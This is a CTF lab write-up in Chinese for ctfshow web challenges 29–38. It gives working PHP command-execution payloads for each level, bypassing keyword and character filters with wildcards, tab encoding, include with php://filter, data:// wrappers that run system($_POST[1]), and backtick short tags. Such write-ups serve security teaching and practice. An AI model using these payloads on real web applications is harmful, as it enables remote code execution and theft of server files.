ctfshow-web29~38做题记录

Web 29

ctfshow-web29~38做题记录

题目过滤了flag,所以利用通配符来执行命令。

Payload:?c=system('tac f*');

ctfshow-web29~38做题记录

Web 30

查看源代码

ctfshow-web29~38做题记录

System函数不能用,可以用passthru、exec,shell_exec等函数,exec不能输出结果。

特别说一下用exec时构造?c=exec(‘cp f* 1.txt’);(将flag.php中的内容复制给1.txt)

访问1.txt,拿到flag。

ctfshow-web29~38做题记录

Web 31

ctfshow-web29~38做题记录

过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号

cat用tac,nl代替

空格用%09代替

Payload:?c=passthru("tac%09f*");

ctfshow-web29~38做题记录

Web 32

查看源代码。

ctfshow-web29~38做题记录

上边的都用不了,所以用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸

构造

payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

ctfshow-web29~38做题记录

用base64解密,拿到flag。

ctfshow-web29~38做题记录

Web 33-35

Payload和web 32一样。

Web 36

ctfshow-web29~38做题记录

和之前相比数字也被过滤了,把改为a即可。

Payload:?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

ctfshow-web29~38做题记录

Base64解密,得到flag。

ctfshow-web29~38做题记录

Web 37

查看源代码

ctfshow-web29~38做题记录

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:data:text/plain,<php代码; ?>

构造?c=data:text/plain,<?php system($_POST[1]);?>

同时POST:1=tac flag.php

ctfshow-web29~38做题记录

得到flag。

Web38

查看代码。

ctfshow-web29~38做题记录

比上一题多了一个php和file过滤,应该是想过滤php://filter

绕过php:data伪协议后的代码是<?php code; ?>,这里php用短标签代替
<?php echols;?> 使用短标签方式表示:<?=`ls`?>

payload:?c=data:text/plain,<?=`cat f*`?>

ctfshow-web29~38做题记录  

上一篇:PHP危险函数


下一篇:SQL SERVER添加链接服务器